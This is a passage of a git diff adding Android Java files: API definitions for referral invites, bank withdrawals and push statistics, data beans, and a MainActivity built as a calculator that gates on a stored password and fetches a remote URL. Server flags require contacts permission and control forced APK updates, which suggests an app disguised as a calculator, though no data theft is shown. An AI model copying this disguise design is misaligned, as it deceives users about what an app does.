@PUT("api/statistics/downloads") + Observable downloadNumbers(@Body Map map); + + /** + * 每日活跃统计 + */ + @PUT("api/statistics/use") + Observable totalTongJi(@Body Map map); + + /** + * 验证邀请码 + */ + @PUT("api/invite/send") + Observable> checkInvited(@Body Map map); + + /** + * 获取我的邀请码 + */ + @POST("api/invite/my") + Observable> getMyInvited(@Body Map map); + + /** + * 统计通知 + */ + @POST("api/push/statistics") + Observable totalNotify(@Body Map map); + + /** + * 获取邀请记录 + */ + @GET("/api/invite/records") + Observable> getRecords(@Query("code") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 获取提现记录 + */ + @GET("/api/withdraw") + Observable> getWithDrawRecords(@Query("inviteCode") String inviteCode, @Query("page") int page, @Query("size") int size); + + + /** + * 申请提现 + */ + @POST("/api/withdraw/apply") + Observable sendWithDrawApply(@Body Map map); + + /** + * 申请提现 + */ + @POST("/api/withdraw") + Observable sendBankInfo(@Body Map map); + + /** + * 获取银行列表 + */ + @GET("/api/withdraw/banks") + Observable>>> getBankInfoList(); + + + /** + * 获取通知列表 + * @param userid + * @param page + * @param size + * @return + */ + @GET("api/push/pushRecords") + Observable>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size); + + +} diff --git a/base_no/src/main/java/com/web/base/BankInfo.java b/base_no/src/main/java/com/web/base/BankInfo.java new file mode 100644 index 0000000..c1bb3de --- /dev/null +++ b/base_no/src/main/java/com/web/base/BankInfo.java @@ -0,0 +1,43 @@ +package com.web.base; + +import java.io.Serializable; + +public class BankInfo implements Serializable { + + private String bankCode; + private String bankName; + private String country; + private int id; + + public String getBankCode() { + return bankCode; + } + + public void setBankCode(String bankCode) { + this.bankCode = bankCode; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getCountry() { + return country; + } + + public void setCountry(String country) { + this.country = country; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } +} diff --git a/base_no/src/main/java/com/web/base/BaseApi.java b/base_no/src/main/java/com/web/base/BaseApi.java new file mode 100644 index 0000000..6020adc --- /dev/null +++ b/base_no/src/main/java/com/web/base/BaseApi.java @@ -0,0 +1,46 @@ +package com.web.base; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/base_no/src/main/java/com/web/base/BaseObserver.java b/base_no/src/main/java/com/web/base/BaseObserver.java new file mode 100644 index 0000000..a53e2a6 --- /dev/null +++ b/base_no/src/main/java/com/web/base/BaseObserver.java @@ -0,0 +1,113 @@ +package com.web.base; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError2(o); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + + public abstract void onError2(T o); + +} diff --git a/base_no/src/main/java/com/web/base/CircleImageView.java b/base_no/src/main/java/com/web/base/CircleImageView.java new file mode 100644 index 0000000..cf84202 --- /dev/null +++ b/base_no/src/main/java/com/web/base/CircleImageView.java @@ -0,0 +1,321 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/base_no/src/main/java/com/web/base/ContactBean.java b/base_no/src/main/java/com/web/base/ContactBean.java new file mode 100644 index 0000000..18251d9 --- /dev/null +++ b/base_no/src/main/java/com/web/base/ContactBean.java @@ -0,0 +1,29 @@ +package com.web.base; + +public class ContactBean { + + public String name; + public String phone; + + + public ContactBean(String name, String phone) { + this.name = name; + this.phone = phone; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhone() { + return phone; + } + + public void setPhone(String phone) { + this.phone = phone; + } +} diff --git a/base_no/src/main/java/com/web/base/DataInfo.java b/base_no/src/main/java/com/web/base/DataInfo.java new file mode 100644 index 0000000..f294620 --- /dev/null +++ b/base_no/src/main/java/com/web/base/DataInfo.java @@ -0,0 +1,124 @@ +package com.web.base; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String downloadUrl; + public String versionCode; + public int isUse = 1; //是否正常使用 0不可用 1正常使用 + public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须 + public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须 + public String fbUrl; // facebook分享地址 + public String tgUrl; // tg分享地址 + public String wsUrl; //whatsapp分享地址 + public String linkConfig; + + public String getLinkConfig() { + return linkConfig; + } + + public void setLinkConfig(String linkConfig) { + this.linkConfig = linkConfig; + } + + public int getIsUse() { + return isUse; + } + + public void setIsUse(int isUse) { + this.isUse = isUse; + } + + public int getNoticeApplyMode() { + return noticeApplyMode; + } + + public void setNoticeApplyMode(int noticeApplyMode) { + this.noticeApplyMode = noticeApplyMode; + } + + public int getContactApplyMode() { + return contactApplyMode; + } + + public void setContactApplyMode(int contactApplyMode) { + this.contactApplyMode = contactApplyMode; + } + + public String getFbUrl() { + return fbUrl; + } + + public void setFbUrl(String fbUrl) { + this.fbUrl = fbUrl; + } + + public String getTgUrl() { + return tgUrl; + } + + public void setTgUrl(String tgUrl) { + this.tgUrl = tgUrl; + } + + public String getWsUrl() { + return wsUrl; + } + + public void setWsUrl(String wsUrl) { + this.wsUrl = wsUrl; + } + + public String getDownloadUrl() { + return downloadUrl; + } + + public void setDownloadUrl(String downloadUrl) { + this.downloadUrl = downloadUrl; + } + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/base_no/src/main/java/com/web/base/DialogUtil.java b/base_no/src/main/java/com/web/base/DialogUtil.java new file mode 100644 index 0000000..451dfba --- /dev/null +++ b/base_no/src/main/java/com/web/base/DialogUtil.java @@ -0,0 +1,58 @@ +package com.web.base; + +import android.os.Build; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; + +@Deprecated +public class DialogUtil { + /** + * 隐藏虚拟栏 ,显示的时候再隐藏掉 + * @param window + */ + public static void hideNavigationBar(final Window window) { + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION); + window.getDecorView().setOnSystemUiVisibilityChangeListener(new View.OnSystemUiVisibilityChangeListener() { + @Override + public void onSystemUiVisibilityChange(int visibility) { + int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE | + //布局位于状态栏下方 + View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | + //全屏 + View.SYSTEM_UI_FLAG_FULLSCREEN | + //隐藏导航栏 + View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | + View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; + if (Build.VERSION.SDK_INT >= 19) { + uiOptions |= View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY; + } else { + uiOptions |= View.SYSTEM_UI_FLAG_LOW_PROFILE; + } + window.getDecorView().setSystemUiVisibility(uiOptions); + } + }); + } + + + /** + * dialog 需要全屏的时候用,和clearFocusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void focusNotAle(Window window) { + window.setFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } + + + /** + * dialog 需要全屏的时候用,focusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void clearFocusNotAle(Window window) { + window.clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } +} + diff --git a/base_no/src/main/java/com/web/base/GsonUtils.java b/base_no/src/main/java/com/web/base/GsonUtils.java new file mode 100644 index 0000000..8facc6c --- /dev/null +++ b/base_no/src/main/java/com/web/base/GsonUtils.java @@ -0,0 +1,91 @@ +package com.web.base; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/base_no/src/main/java/com/web/base/InviteInfo.java b/base_no/src/main/java/com/web/base/InviteInfo.java new file mode 100644 index 0000000..788659c --- /dev/null +++ b/base_no/src/main/java/com/web/base/InviteInfo.java @@ -0,0 +1,109 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteInfo implements Serializable { + + + private String deviceCode; + private int id; + private String inviteCode; + private int inviteNum; + private int userId; + private String balance; + private String income; + //银行卡信息 + private String bankId; + private String bankName; + private String bankNo; + private String name; + + public String getBankId() { + return bankId; + } + + public void setBankId(String bankId) { + this.bankId = bankId; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getBankNo() { + return bankNo; + } + + public void setBankNo(String bankNo) { + this.bankNo = bankNo; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + + public String getDeviceCode() { + return deviceCode; + } + + public void setDeviceCode(String deviceCode) { + this.deviceCode = deviceCode; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getInviteCode() { + return inviteCode; + } + + public void setInviteCode(String inviteCode) { + this.inviteCode = inviteCode; + } + + public int getInviteNum() { + return inviteNum; + } + + public void setInviteNum(int inviteNum) { + this.inviteNum = inviteNum; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getUserId() { + return userId; + } + + public void setUserId(int userId) { + this.userId = userId; + } +} diff --git a/base_no/src/main/java/com/web/base/InviteListInfo.java b/base_no/src/main/java/com/web/base/InviteListInfo.java new file mode 100644 index 0000000..9b94e13 --- /dev/null +++ b/base_no/src/main/java/com/web/base/InviteListInfo.java @@ -0,0 +1,61 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteListInfo implements Serializable { + + private InviteCodeInfo inviteCode; + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + + public InviteCodeInfo getInviteCode() { + return inviteCode; + } + + public void setInviteCode(InviteCodeInfo inviteCode) { + this.inviteCode = inviteCode; + } + + + class InviteCodeInfo { + + private String balance; + private String income; + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + } +} diff --git a/base_no/src/main/java/com/web/base/LinkConfigInfo.java b/base_no/src/main/java/com/web/base/LinkConfigInfo.java new file mode 100644 index 0000000..fa044fb --- /dev/null +++ b/base_no/src/main/java/com/web/base/LinkConfigInfo.java @@ -0,0 +1,34 @@ +package com.web.base; + +import java.io.Serializable; + +public class LinkConfigInfo implements Serializable { + + public String name; + public String icon; + public String linkUrl; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public String getLinkUrl() { + return linkUrl; + } + + public void setLinkUrl(String linkUrl) { + this.linkUrl = linkUrl; + } +} diff --git a/base_no/src/main/java/com/web/base/LogUtils.java b/base_no/src/main/java/com/web/base/LogUtils.java new file mode 100644 index 0000000..c7bd63f --- /dev/null +++ b/base_no/src/main/java/com/web/base/LogUtils.java @@ -0,0 +1,146 @@ +package com.web.base; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/base_no/src/main/java/com/web/base/MainActivity.java b/base_no/src/main/java/com/web/base/MainActivity.java new file mode 100644 index 0000000..74ac6c0 --- /dev/null +++ b/base_no/src/main/java/com/web/base/MainActivity.java @@ -0,0 +1,372 @@ +package com.web.base; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import java.math.BigDecimal; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private TextView inputTextView, outputTextView; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, + btn_point, btn_equal, btn_add, btn_subtract, btn_multiply, btn_divide, btn_percent, btn_backspace, btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if (TextUtils.isEmpty(getString(MainActivity.this, "loc_pass", ""))) { + startActivity(new Intent(this, StartActivity.class)); + finish(); + return; + } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener() { + inputTextView = (TextView) findViewById(R.id.inputText); + outputTextView = (TextView) findViewById(R.id.outputText); + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + btn_point = (Button) findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button) findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button) findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button) findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button) findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button) findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button) findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler 